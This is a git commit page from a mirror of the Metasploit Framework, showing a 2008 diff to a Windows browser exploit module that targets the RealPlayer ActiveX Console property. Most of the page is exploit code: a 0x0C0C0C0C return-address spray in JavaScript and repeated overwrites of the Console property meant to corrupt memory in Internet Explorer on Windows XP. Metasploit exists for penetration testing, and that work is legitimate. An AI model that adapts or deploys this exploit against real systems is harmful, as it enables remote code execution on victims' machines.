infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

module update from Elazar Broad. 

git-svn-id: file:///home/svn/framework3/trunk@5606 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Mario Ceballos 2008-07-27 11:23:42 +00:00
parent a531785372
commit ee0f6ed5cc
1 changed files with 3 additions and 8 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

11
modules/exploits/windows/browser/realplayer_console.rb
View File

@ -45,7 +45,7 @@ class Exploits::Windows::Browser::RealPlayer_Console < Msf::Exploit::Remote
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ]
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ]
],
'DisclosureDate' => 'March 8 2008',
'DefaultTarget' => 0))
@ -84,7 +84,6 @@ class Exploits::Windows::Browser::RealPlayer_Console < Msf::Exploit::Remote
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
j_ret = rand_text_alpha(rand(100) + 1)
j_m = rand_text_alpha(rand(100) + 1)
# Build out the message
content = %Q|
@ -104,13 +103,9 @@ class Exploits::Windows::Browser::RealPlayer_Console < Msf::Exploit::Remote
#{j_ret} = unescape('#{ret}');
while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};
#{j_m} = #{racontrol}.Console;
#{racontrol}.Console = #{j_ret};
#{racontrol}.Console = #{j_m};
#{j_m} = #{racontrol}.Console;
#{racontrol}.Console = #{j_ret};
#{racontrol}.Console = #{j_m};
#{racontrol}.Console = '';
#{racontrol}.Console = #{j_ret};
</script>
</html>
|